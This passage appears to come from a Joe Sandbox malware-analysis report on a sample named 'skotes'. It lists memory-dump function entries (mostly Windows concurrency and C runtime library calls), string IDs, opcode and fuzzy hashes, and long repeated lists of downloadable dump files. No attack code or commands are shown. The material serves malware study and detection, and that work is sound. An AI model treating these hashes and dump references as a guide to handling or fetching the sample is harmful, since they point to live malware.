Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9l$csm
API String ID: 1170836740-48277793
Opcode ID: f20953805513f9933cef10b092e515312783a65108cb2cff81017858e03fb94e
Instruction ID: d4c1c59136570ede79330c7ef6e97122ed7899bab770da3b10f5bce168fcb7fe
Opcode Fuzzy Hash: f20953805513f9933cef10b092e515312783a65108cb2cff81017858e03fb94e
Instruction Fuzzy Hash: 8741E334A002599BCF10DF28C894FAEBBB6EF05314F14815DE8155B392CB31EA41CF91

Function 006B7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006B73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006B73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 006B740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 006B7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006B7440

Strings

ppVirtualProcessorRoots, xrefs: 006B7438
count, xrefs: 006B737E

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 2bc1a61b7632280387511c5f918c380c964b0820f5c9bbbb72d78d40d97ec76e
Instruction ID: fe2213f6bff22aeb4f9f449f7144819b447fdc1c3e3b743c31a1591783ebc274
Opcode Fuzzy Hash: 2bc1a61b7632280387511c5f918c380c964b0820f5c9bbbb72d78d40d97ec76e
Instruction Fuzzy Hash: EA2171B4A00319AFCB10EF65C5859EDBBB6BF49310F1540A9E901AB351DB30AE81DF94

Function 006AEE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 006AEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 006AEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 006AEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 006AEF0F
Concurrency::Context::Block.LIBCONCRT ref: 006AEF31

Strings

ij, xrefs: 006AEED0

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: ij
API String ID: 1182035702-3994178257
Opcode ID: 4b877be240103425bb2eb7abc5adbb1418c1effa6e8dab0cfad018408bee7fa2
Instruction ID: a81093c8bfae80308651480d0e00fbddef4f9d36425cb67a0c538f04cb700c87
Opcode Fuzzy Hash: 4b877be240103425bb2eb7abc5adbb1418c1effa6e8dab0cfad018408bee7fa2
Instruction Fuzzy Hash: D3210A708142068EDF64EFA4C8556EEBBF2FF16320F10092DE161A6291E7725E85CF55

Function 006B78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006B7903

Part of subcall function 006B5CB8: __EH_prolog3_catch.LIBCMT ref: 006B5CBF
Part of subcall function 006B5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006B5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006B792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006B7936

Part of subcall function 006B5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 006B5D70
Part of subcall function 006B5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 006B5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 006B7982
Concurrency::location::_Assign.LIBCMT ref: 006B79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006B79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006B79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006B79ED

Part of subcall function 006B691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 006B6942
Part of subcall function 006B691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 006B6965

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 86b1a67e6017a81152cbe1ed659cd84bf4a1931c349b645f094b2cdbaa352890
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 083106B0B08255AACF56BA7844927FEBBB79F85300F0401A9D496DB342DB245DCAC391

Function 006D4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006D4C98
__alloca_probe_16.LIBCMT ref: 006D4D5E
__freea.LIBCMT ref: 006D4DCA

Part of subcall function 006CB04B: RtlAllocateHeap.NTDLL(00000000,440B685B,?,?,006AD3FC,440B685B,?,006A7A8B,?,?,?,?,?,?,00697465,?), ref: 006CB07D

__freea.LIBCMT ref: 006D4DD3
__freea.LIBCMT ref: 006D4DF6

Strings

Zl,ml, xrefs: 006D4C26

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
